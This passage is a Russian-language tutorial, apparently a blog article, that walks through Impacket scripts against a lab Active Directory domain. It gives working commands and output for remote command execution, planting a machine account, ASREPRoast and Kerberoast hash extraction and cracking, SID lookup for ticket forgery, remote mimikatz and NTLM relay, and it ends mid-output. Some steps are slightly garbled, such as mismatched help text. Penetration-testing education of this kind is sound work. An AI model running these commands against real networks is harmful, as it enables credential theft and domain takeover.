Active Directory глазами Impacket
При аудите Windows-инфраструктур Impacket является швейцарским ножом, позволяя активно взаимодействовать с устройствами по сети, для которых проприетарным (родным или умолчательным) инструментом, конечно же, является, PowerShell. Но так уж сложилось, что использовать последний из-под Linux — не лучшая практика, с учётом имеющихся для этого open source решений. Будучи написанным на возлюбленном в IT-сообществе Python, Impacket оставляет только положительные эмоции от использования, а также информативные и полезные результаты, а в некоторых случаях позволяет и вовсе окончить аудит, став администратором домена. Целью статьи является показать возможности рассматриваемого программного обеспечения на примере реальной сети под управлением Active Directory, и подсветить наиболее сильные его стороны. Формат статьи — обзор входящих в его состав сценариев с практическими примерами, которые в наименьшей мере заимствуется из аналогичных иностранных публикаций. Статья носит обзорный ознакомительный характер, демонстрируя возможности применения Impacket, и адаптирована особенно для тех, кто в теме информационной безопасности, знаком с Windows Server не понаслышке, и при этом рассматриваемыми скриптами толком ещё не пользовался.
Impacket — это набор классов Python для работы с сетевыми протоколами, и в первую очередь с Active Directory. Предустановлен в Kali и аналогичных ему специализированных дистрибутивах (/usr/share/doc/python3-impacket/examples/). Если исследование выполняется на другой операционной системе в каком-нибудь хитром удаленном варианте через обыкновенный Debian, то рекомендую установку провести в виртуальном окружении, чтобы исключить проблемы с зависимостями для других проектов, имеющихся на сервере:
git clone https://github.com/fortra/impacket.git
apt install python3-venv
python3 -m venv venv
source venv/bin/activate
python3 -m pip install --upgrade pip
pip3 install -r requirements.txt
В таком случае при каждом повторном открытии виртуального терминала необходимо активировать созданное выше виртуальное окружение. Для этого в каталоге с Impacket, в котором находится каталог venv, выполняем:
python3 -m venv venv
Следующий вывод свидетельствует, что всё сделано верно:
(venv)
С этого момента объект исследования готов к применению.
1. Анализ лабораторного стенда
Для работы необходим минимум L3 доступ до контроллера домена. VPN тоже подойдёт. В исследуемой сети находятся:
# apt install nbtscan
nbtscan -r 192.168.1.0/24
Doing NBT name scan for addresses from 192.168.1.0/24
IP address NetBIOS Name Server User MAC address
------------------------------------------------------------------------------
192.168.1.13 WIN-LIELOSOD7LK 99:3f:d5:65:97:99
Анализ открытых TCP портов показывает типичную картину работы контроллера домена Active Directory:
# apt install nmap
nmap 192.168.1.0/24
Host is up (0.31s latency).
Not shown: 987 closed tcp ports (reset)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
Типичная, потому что на нём запущен DNS сервер (53/tcp порт применяется DNS сервером для трансфера зон, 53/udp порт для подключения DNS клиентов), а также работают Kerberos и Ldap, все трое в Windows-окружении выдают контроллер домена. Чтобы не уходить от предмета разговора, назначение указанных выше протоколов не раскрыто. Посмотрим лучше, что нам может рассказать работающая на сервере служба SMB:
# apt install enum4linux
enum4linux 192.168.1.13
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Feb 15 04:22:31 2023
=========================================( Target Information )=========================================
Target ........... 192.168.1.13
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
============================( Enumerating Workgroup/Domain on 192.168.1.13 )============================
[+] Got domain/workgroup name: AD
================================( Nbtstat Information for 192.168.1.13 )================================
Looking up status of 192.168.1.13
WIN-LIELOSOD7LK <00> - B Workstation Service
AD <00> - B Domain/Workgroup Name
AD <1c> - B Domain Controllers
WIN-LIELOSOD7LK <20> - B File Server Service
AD <1b> - B Domain Master Browser
===================================( Session Check on 192.168.1.13 )===================================
[+] Server 192.168.1.13 allows sessions using username '', password ''
================================( Getting domain SID for 192.168.1.13 )================================
Domain Name: AD
Domain Sid: S-1-5-21-1377681614-1103095939-2089592296
[+] Host is part of a domain (not a workgroup)
AD — это имя контроллера домена в представлении для операционных систем до Windows 2000, а WIN-LIELOSOD7LK — имя сервера. На самом деле этого недостаточно для дальнейшего анализа, так как не установлено имя домена Active Directory (в обыкновенной интерпретации). Немного отвлекаясь от темы, это можно сделать при помощи специальных скриптов PowerShell, например, из состава известных в специализированных кругах Recon или BloodHound:
Discover-PSInterestingServices
Invoke-BloodHound -SearchFores
В нашем случае доменом является ad.ruvds.ru, таким образом, полное имя сервера (FQDN) WIN-LIELOSOD7LK.ad.ruvds.ru. Далее все остальные манипуляции будем выполнять при помощи исследуемого программного обеспечения.
2. Impacket — мощный инструмент аудита Active Directory
Пакет Impacket включает впечатляющий набор скриптов, название которых зачастую говорит само за себя. Например, mimikatz.py — python реализация одноимённого инструмента, являющего де-факто стандартным в наборе программ аудита Windows. Полный список следующий: addcomputer.py, atexec.py, dcomexec.py, dpapi.py, esentutl.py, exchanger.py, findDelegation.py, GetADUsers.py, getArch.py, GetNPUsers.py, getPac.py, getST.py, getTGT.py, GetUserSPNs.py, goldenPac.py, karmaSMB.py, kintercept.py, lookupsid.py, mimikatz.py, mqtt_check.py, mssqlclient.py, mssqlinstance.py, netview.py, mapAnswerMachine.py, ntfs-read.py, ntlmrelayx.py, ping6.py, ping.py, psexec.py, raiseChild.py, rdp_check.py, registry-read.py, reg.py, rpcdump.py, rpcmap.py, sambaPipe.py, samrdump.py, secretsdump.py, services.py, smbclient.py, smbexec.py, smbrelayx.py, mbserver.py, sniffer.py, sniff.py, split.py, ticketConverter.py, ticketer.py, wmiexec.py, wmipersist.py, wmiquery.py.
Рассмотрим практику их применения при исследовании лабораторного стенда. Общий синтаксис и назначения параметров взяты из оригинального help, поэтому спрятаны в первоначальном виде под спойлеры. Если кого-то особенно заинтересует какой-то из скриптов, то можно заглянуть в скрытые материалы, в которых достаточно подробно раскрыты все имеющиеся возможности и параметры. Однако приведённые примеры достаточны для обзорной экскурсии в цифровую реальность Impacket vs Active Directory. Некоторые инструменты в обзор не входят по причине того, что устарели или не применяются на практике. Для выполнения скриптов нужны соответствующие права в домене, что будет видно из примеров и здравого смысла.
▍ addcomputer
Скрипт добавляет учётную запись компьютера в домен. Полезен для закрепления в сети под псевдонастоящим устройством, который проглядит не скрупулёзный администратор. После применения в соответствующей оснастке Windows Server появится новый компьютер COMPUTER2:
addcomputer.py -computer-name 'COMPUTER2$' -computer-pass 'SomePassword' -dc-ip 192.168.1.13 ad.ruvds.ru/admin:password
[*] Successfully added machine account COMPUTER2$ with password SomePassword.
usage: addcomputer.py [-h] [-domain-netbios NETBIOSNAME] [-computer-name COMPUTER-NAME$] [-computer-pass password] [-no-add] [-delete] [-debug] [-method {SAMR,LDAPS}]
[-port {139,445,636}] [-baseDN DC=test,DC=local] [-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key]
[-dc-host hostname] [-dc-ip ip]
[domain/]username[:password]
positional arguments:
[domain/]username[:password]
Account used to authenticate to DC.
optional arguments:
-h, --help show this help message and exit
-domain-netbios NETBIOSNAME
Domain NetBIOS name. Required if the DC has multiple domains.
-computer-name COMPUTER-NAME$
Name of computer to add.If omitted, a random DESKTOP-[A-Z0-9]{8} will be used.
-computer-pass password
Password to set to computerIf omitted, a random [A-Za-z0-9]{32} will be used.
-no-add Don't add a computer, only set password on existing one.
-delete Delete an existing computer.
-debug Turn DEBUG output ON
-method {SAMR,LDAPS} Method of adding the computer.SAMR works over SMB.LDAPS has some certificate requirementsand isn't always available.
-port {139,445,636} Destination port to connect to. SAMR defaults to 445, LDAPS to 636.
LDAP:
-baseDN DC=test,DC=local
Set baseDN for LDAP.If ommited, the domain part (FQDN) specified in the account parameter will be used.
-computer-group CN=Computers,DC=test,DC=local
Group to which the account will be added.If omitted, CN=Computers will be used,
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will
use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-dc-host hostname Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be used
-dc-ip ip IP of the domain controller to use. Useful if you can't translate the FQDN.specified in the account parameter will be used
▍ atexec
Создаёт в планировщике задание и выполняет его, после чего будет открыта командная строка на удалённой машине. Чистой воды, шелл-команда через планировщик заданий. После работаем на сервере с соответствующими правами и реализуем устойчивый удалённый доступ в зависимости от реальных условий:
atexec.py ad.ruvds.ru/admin:password@192.168.1.13 whoami
[!] This will work ONLY on Windows >= Vista
[*] Creating task \QNyQPpyj
[*] Running task \QNyQPpyj
[*] Deleting task \QNyQPpyj
[*] Attempting to read ADMIN$\Temp\QNyQPpyj.tmp
[*] Attempting to read ADMIN$\Temp\QNyQPpyj.tmp
nt authority\система
usage: atexec.py [-h] [-session-id SESSION_ID] [-ts] [-silentcommand] [-debug] [-codec CODEC] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address]
[-keytab KEYTAB]
target [command ...]
positional arguments:
target [[domain/]username[:password]@]
command command to execute at the target
optional arguments:
-h, --help show this help message and exit
-session-id SESSION_ID
an existed logon session to use (no output, no cmd.exe)
-ts adds timestamp to every logging output
-silentcommand does not execute cmd.exe to run given command (no output)
-debug Turn DEBUG output ON
-codec CODEC Sets encoding used (codec) from the target's output (default "utf-8"). If errors are detected, run chcp.com at the target, map the result with
https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py again with -codec and the corresponding codec
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use
the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-keytab KEYTAB Read keys for SPN from keytab file
▍ dcomexec
Выполняет полуинтерактивную оболочку, используя DCOM-объект ShellBrowserWindow (в примере, MMC20). Что с этим делать здесь и далее не оговариваю, так как шелл на то и есть шелл, чтобы управлять удалённым сервером:
dcomexec.py ad.ruvds.ru/admin:password@192.168.1.13 -object MMC20
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>ipconfig
Windows IP Configuration
Unknown adapter OpenVPN Wintun:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Unknown adapter OpenVPN TAP-Windows6:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.5.13
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.1.13
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
C:\>
usage: dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-com-version MAJOR_VERSION:MINOR_VERSION]
[-shell-type {cmd,powershell}] [-silentcommand] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB]
target [command ...]
positional arguments:
target [[domain/]username[:password]@]
command command to execute at the target. If empty it will launch a semi-interactive shell
optional arguments:
-h, --help show this help message and exit
-share SHARE share where the output will be grabbed from (default ADMIN$)
-nooutput whether or not to print the output (no SMB connection created)
-ts Adds timestamp to every logging output
-debug Turn DEBUG output ON
-codec CODEC Sets encoding used (codec) from the target's output (default "utf-8"). If errors are detected, run chcp.com at the target, map the result with
https://docs.python.org/3/library/codecs.html#standard-encodings and then execute wmiexec.py again with -codec and the corresponding codec
-object [{ShellWindows,ShellBrowserWindow,MMC20}]
DCOM object to be used to execute the shell command (default=ShellWindows)
-com-version MAJOR_VERSION:MINOR_VERSION
DCOM version, format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7
-shell-type {cmd,powershell}
choose a command processor for the semi-interactive shell
-silentcommand does not execute cmd.exe to run given command (no output, cannot run dir/cd/etc.)
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use
the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
-A authfile smbclient/mount.cifs-style authentication file. See smbclient man page's -A option.
-keytab KEYTAB Read keys for SPN from keytab file
▍ exchanger
Инструмент для аудита почтовых серверов Exchange. На стенде такого не имеется, поэтому вывод получаем соответствующий. В дикой природе скрипт никогда не отрабатывал, приводится здесь в академических целях:
exchanger.py ad.ruvds.ru/admin:password@192.168.1.13 nspi list-tables -count
[-] Protocol failed: RPC Proxy Client: NTLM authentication failed in RPC_IN_DATA channel: HTTP/1.1 404 Not Found
usage: exchanger.py [-h] [-debug] [-rpc-hostname RPC_HOSTNAME] [-hashes LMHASH:NTHASH] target {nspi} ...
positional arguments:
target [[domain/]username[:password]@]
{nspi} A module name
nspi Attack NSPI interface
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG and EXTENDED output ON
-rpc-hostname RPC_HOSTNAME
A name of the server in GUID (preferred) or NetBIOS name format (see description in the beggining of this file)
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
▍ findDelegation
Запрашивает целевой домен на наличие делегирований. Constrained Delegation — доверять компьютеру делегирование указанных служб. Соответственно Unconstrained Delegation — неограниченное делегирование. Нахождение таковых в Active Directory открывает прямую дорогу к активным действиям, которые могут окончиться для аудитора захватом управления над всем доменом. В случае если такая настройка на Windows Server имеется, то вывод будет, как в примере ниже: делегирование предоставлено для служб Ldap и Сifs и учётной записи Backup, а также неограниченное делегирование для компьютера RUVDS-PC$, которые сразу после этого попадают в скоуп:
findDelegation.py ad.ruvds.ru/admin:password -dc-ip 192.168.1.13
AccountName AccountType DelegationType DelegationRightsTo
----------- ----------- ---------------------------------- -----------------------------------------------------------------
RUVDS-PC$ Computer Unconstrained N/A
Backup Person Constrained w/ Protocol Transition ldap/WIN-LIELOSOD7LK.ad.ruvds.ru/ad.ruvds.ru
Backup Person Constrained w/ Protocol Transition ldap/WIN-LIELOSOD7LK.ad.ruvds.ru
Backup Person Constrained w/ Protocol Transition ldap/WIN-LIELOSOD7LK
Backup Person Constrained w/ Protocol Transition ldap/WIN-LIELOSOD7LK.ad.ruvds.ru/AD
Backup Person Constrained w/ Protocol Transition ldap/WIN-LIELOSOD7LK/AD
Backup Person Constrained w/ Protocol Transition ldap/WIN-LIELOSOD7LK.ad.ruvds.ru/DomainDnsZones.ad.ruvds.ru
Backup Person Constrained w/ Protocol Transition ldap/WIN-LIELOSOD7LK.ad.ruvds.ru/ForestDnsZones.ad.ruvds.ru
Backup Person Constrained w/ Protocol Transition cifs/WIN-LIELOSOD7LK.ad.ruvds.ru/ad.ruvds.ru
Backup Person Constrained w/ Protocol Transition cifs/WIN-LIELOSOD7LK.ad.ruvds.ru
Backup Person Constrained w/ Protocol Transition cifs/WIN-LIELOSOD7LK
Backup Person Constrained w/ Protocol Transition cifs/WIN-LIELOSOD7LK.ad.ruvds.ru/AD
Backup Person Constrained w/ Protocol Transition cifs/WIN-LIELOSOD7LK/AD
usage: findDelegation.py [-h] [-target-domain TARGET_DOMAIN] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] target
positional arguments:
target domain/username[:password]
optional arguments:
-h, --help show this help message and exit
-target-domain TARGET_DOMAIN
Domain to query/request if different than the domain of the user. Allows for retrieving delegation info across trusts.
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use
the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter. Ignoredif -target-domain is specified.
▍ GetADUsers
Запрашивает целевой домен на наличие пользователей домена. Скрипт может быть выполнен не от привилегированной учётной записи. В результате получаем много интересной информации, которую в дальнейшем можно использовать для словарного подбора пароля:
GetADUsers.py ad.ruvds.ru/admin:password -dc-ip 192.168.1.13 -all
[*] Querying 192.168.1.13 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
Администратор 2022-07-03 21:47:50.410770 2023-02-05 22:32:32.875495
Гость
krbtgt 2022-07-21 11:57:31.728056
Ruvds 2022-08-24 22:12:13.125652 2023-01-26 14:47:44.840025
test 2023-01-12 20:56:06.969165 2023-01-26 10:15:10.800462
admin 2023-01-24 20:05:11.514038 2023-01-26 10:45:42.058260
ca 2023-01-26 10:17:49.333225 2023-01-26 10:23:01.488147
LastLogon — когда был последний вход доменного пользователя, PasswordLastSet рассмотрен ниже.
usage: GetADUsers.py [-h] [-user username] [-all] [-ts] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] target
positional arguments:
target domain/username[:password]
optional arguments:
-h, --help show this help message and exit
-user username Requests data for specific user
-all Return all users, including those with no email addresses and disabled accounts. When used with -user it will return user's info even if the account is
disabled
-ts Adds timestamp to every logging output
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use
the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
▍ getArch
Установить архитектуру операционной системы сервера. На самом деле выбор невелик, приведён здесь с академической целью:
getArch.py -target 192.168.1.13
[*] Gathering OS architecture for 1 machines
[*] Socket connect timeout set to 2 secs
192.168.1.13 is 64-bit
usage: getArch.py [-h] [-target TARGET] [-targets TARGETS] [-timeout TIMEOUT] [-debug]
optional arguments:
-h, --help show this help message and exit
-target TARGET
-targets TARGETS input file with targets system to query Arch from (one per line).
-timeout TIMEOUT socket timeout out when connecting to the target (default 2 sec)
-debug Turn DEBUG output ON
▍ GetNPUsers
Запрашивает целевой домен для пользователей с установленным параметром Не требовать предварительной аутентификации Kerberos, собрать ответы AS_REP без предварительной аутентификации и экспортирует их TGT для отложенного подбора пароля, так как они будут зашифрованы паролем пользователя. Для тех, кто ничего не понял: здесь написано про методику атаки на Active Directory ASREPROAST, когда на сервере администратор задал корректные, с его точки зрения, настройки Kerberos для учётной записи, а аудитор их обнаружил, удалённо получил нужную техническую информацию и попытался восстановить пароль. Выполняем от имени любой доменной учётной записи:
./GetNPUsers.py ad.ruvds.ru/Ruvds -request
Name MemberOf PasswordLastSet LastLogon UAC
---- -------- -------------------------- -------------------------- --------
test 2023-01-12 20:56:06.969165 2023-04-03 16:59:57.351166 0x410200
$krb5asrep$23$test@AD.RUVDS.RU:96112...73af5559c804a9458a88221c959a98453
Далее хеш отправляем на перебор:
john --wordlist=словарь.txt файл_с_хешами.hashes
usage: GetNPUsers.py [-h] [-request] [-outputfile OUTPUTFILE]
[-format {hashcat,john}] [-usersfile USERSFILE] [-ts]
[-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k]
[-aesKey hex key] [-dc-ip ip address]
target
positional arguments:
target domain/username[:password]
optional arguments:
-h, --help show this help message and exit
-request Requests TGT for users and output them in JtR/hashcat
format (default False)
-outputfile OUTPUTFILE
Output filename to write ciphers in JtR/hashcat format
-format {hashcat,john}
format to save the AS_REQ of users without pre-
authentication. Default is hashcat
-usersfile USERSFILE File with user per line to test
-ts Adds timestamp to every logging output
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from
ccache file (KRB5CCNAME) based on target parameters.
If valid credentials cannot be found, it will use the
ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256
bits)
-dc-ip ip address IP Address of the domain controller. If ommited it use
the domain part (FQDN) specified in the target
parameter
There are a few modes for using this script
1. Get a TGT for a user:
GetNPUsers.py contoso.com/john.doe -no-pass
For this operation you don't need john.doe's password. It is important tho, to specify -no-pass in the script,
otherwise a badpwdcount entry will be added to the user
2. Get a list of users with UF_DONT_REQUIRE_PREAUTH set
GetNPUsers.py contoso.com/emily:password or GetNPUsers.py contoso.com/emily
This will list all the users in the contoso.com domain that have UF_DONT_REQUIRE_PREAUTH set.
However it will require you to have emily's password. (If you don't specify it, it will be asked by the script)
3. Request TGTs for all users
GetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emily
4. Request TGTs for users in a file
GetNPUsers.py contoso.com/ -no-pass -usersfile users.txt
For this operation you don't need credentials.
▍ getTGT.py
Выписать и применить TGT для известной учётной записи. Инструмент используется в атаках на Kerberos, да и вообще для работы с билетами из-под Linux:
getTGT.py ad.ruvds.ru/admin:password -dc-ip 192.168.1.13
KRB5CCNAME=admin.ccache
Вторая команда применяет выписанный билет в сеанс виртуальной консоли. Делается это для того, чтобы в дальнейшем работать с Active Directory посредством Kerberos. Например, не вводить пароли для команд Impacket, а использовать параметр --no-pass. В каждой шутке есть доля шутки).
usage: getPac.py [-h] -targetUser TARGETUSER [-debug] [-hashes LMHASH:NTHASH] credentials
positional arguments:
credentials domain/username[:password]. Valid domain credentials to use for grabbing targetUser's PAC
optional arguments:
-h, --help show this help message and exit
-targetUser TARGETUSER
the target user to retrieve the PAC of
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
▍ GetUserSPNs
Запрашивает целевой домен для имён SPN, работающих под учётной записью пользователя. На этот раз атака KERBEROAST во всей красе. Зная учётные данные любого пользователя домена и SPN учётных записей из домена, аудитор может запросить TGS от имени пользователя (известного ему, например, после password spraying) для данных экземпляров SPN. А взломав TGS, узнать пароли от этих учётных записей (учётных записей SPN, которые могут иметь широкие права доступа и длительный если не вечный персистанс паролей). Полученные хеши направляются на восстановление, например, в hashcat:
./GetUserSPNs.py -request -dc-ip 192.168.1.13 ad.ruvds.ru/Ruvds
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------- -------- -------------------------- -------------------------- -----------
HTTP/ad.ruvds.ru iis_svc 2023-02-13 15:21:08.345126 2023-03-29 16:39:22.877495
cifs/ad.ruvds.ru Backup 2023-03-20 15:47:56.875247 2023-03-20 16:27:18.994585 constrained
[-] CCache file is not found. Skipping...
$krb5tgs$23$*iis_svc$AD.RUVDS.RU$ad.ruvds.ru/iis_svc*$6a18d8ad3e4147f72d40a...cfb06f42232ccaac066b18bc4e6d3e3415aa8ce7dbbbcfb80375e
$krb5tgs$23$*Backup$AD.RUVDS.RU$ad.ruvds.ru/Backup*$b5cedc9f87eed91be8028cf...b271176a28ee3d18f83755739bbbb7ea8cf26a642a723ca3d53e
hashcat -a 0 -m 13100 файл_с_хешами словарь.txt
usage: GetUserSPNs.py [-h] [-target-domain TARGET_DOMAIN] [-usersfile USERSFILE] [-request] [-request-user username] [-save] [-outputfile OUTPUTFILE] [-debug]
[-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address]
target
positional arguments:
target domain/username[:password]
optional arguments:
-h, --help show this help message and exit
-target-domain TARGET_DOMAIN
Domain to query/request if different than the domain of the user. Allows for Kerberoasting across trusts.
-usersfile USERSFILE File with user per line to test
-request Requests TGS for users and output them in JtR/hashcat format (default False)
-request-user username
Requests TGS for the SPN associated to the user specified (just the username, no domain needed)
-save Saves TGS requested to disk. Format is .ccache. Auto selects -request
-outputfile OUTPUTFILE
Output filename to write ciphers in JtR/hashcat format
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use
the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter. Ignoredif -target-domain is specified.
▍ lookupsid
Узнать атрибут SID домена. Задача техническая, он нужен для проведения атак Silver Ticket и Golden Ticket:
python3 /usr/share/doc/python3-impacket/examples/lookupsid.py ad.ruvds.ru/admin:password@192.168.1.13
[*] Brute forcing SIDs at 192.168.1.13
[*] StringBinding ncacn_np:192.168.1.13[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1377681614-1103095939-2089592296
498: AD\Контроллеры домена предприятия - только чтение (SidTypeGroup)
500: AD\Администратор (SidTypeUser)
501: AD\Гость (SidTypeUser)
502: AD\krbtgt (SidTypeUser)
512: AD\Администраторы домена (SidTypeGroup)
513: AD\Пользователи домена (SidTypeGroup)
514: AD\Гости домена (SidTypeGroup)
515: AD\Компьютеры домена (SidTypeGroup)
516: AD\Контроллеры домена (SidTypeGroup)
517: AD\Издатели сертификатов (SidTypeAlias)
518: AD\Администраторы схемы (SidTypeGroup)
519: AD\Администраторы предприятия (SidTypeGroup)
520: AD\Владельцы-создатели групповой политики (SidTypeGroup)
521: AD\Контроллеры домена - только чтение (SidTypeGroup)
522: AD\Клонируемые контроллеры домена (SidTypeGroup)
525: AD\Protected Users (SidTypeGroup)
526: AD\Администраторы основного уровня (SidTypeGroup)
527: AD\Администраторы основного уровня предприятия (SidTypeGroup)
553: AD\Серверы RAS и IAS (SidTypeAlias)
571: AD\Группа с разрешением репликации паролей RODC (SidTypeAlias)
572: AD\Группа с запрещением репликации паролей RODC (SidTypeAlias)
1002: AD\Windows Admin Center CredSSP Administrators (SidTypeAlias)
1003: AD\WIN-LIELOSOD7LK$ (SidTypeUser)
1104: AD\DnsAdmins (SidTypeAlias)
1105: AD\DnsUpdateProxy (SidTypeGroup)
1106: AD\RUVDSMASTER$ (SidTypeUser)
1107: AD\Ruvds (SidTypeUser)
1108: AD\RUVDS-PC$ (SidTypeUser)
1111: AD\RBCDmachine$ (SidTypeUser)
1112: AD\test (SidTypeUser)
1114: AD\admin (SidTypeUser)
usage: lookupsid.py [-h] [-ts] [-target-ip ip address] [-port [destination port]] [-domain-sids] [-hashes LMHASH:NTHASH] [-no-pass] target [maxRid]
positional arguments:
target [[domain/]username[:password]@]
maxRid max Rid to check (default 4000)
optional arguments:
-h, --help show this help message and exit
-ts Adds timestamp to every logging output
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot
resolve it
-port [destination port]
Destination port to connect to SMB Server
-domain-sids Enumerate Domain SIDs (will likely forward requests to the DC)
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful when proxying through smbrelayx)
▍ mimikatz
Представления не требует и описан был уже в статье. Успешное выполнение скрипта приведёт к открытию Mimikatz на удалённом сервере. На современных версиях Windows Server его тут же прибьёт Defender:
python3 mimikatz.py ad.ruvds.ru/admin:password@192.168.1.13
.#####. mimikatz 2.2.0 (x64) #19041 Apr 10 2023 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) #
usage: mimikatz.py [-h] [-file FILE] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-target-ip ip address] target
positional arguments:
target [[domain/]username[:password]@]
optional arguments:
-h, --help show this help message and exit
-file FILE input file with commands to execute in the mini shell
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use
the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot
resolve it
▍ ntlmrelayx
Стартует прослушиватель, который каждое полученное соединение (протоколы DCSYNC, MSSQL, SMTP, IMAP, IMAPS, HTTP, HTTPS, SMB, RPC, LDAP, LDAPS, HTTP, HTTPS, SMB, MSSQL, IMAP, IMAPS) пытается ретранслировать в указанную целевую систему. Запускаем скрипт и ждём события в сети:
python3 ntlmrelayx.py --target 192.168.1.13 -socks -smb2support -debug
[+] Impacket Library Installation Path: /usr/local/lib/python3.9/dist-packages/impacket
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client HTTP loaded..
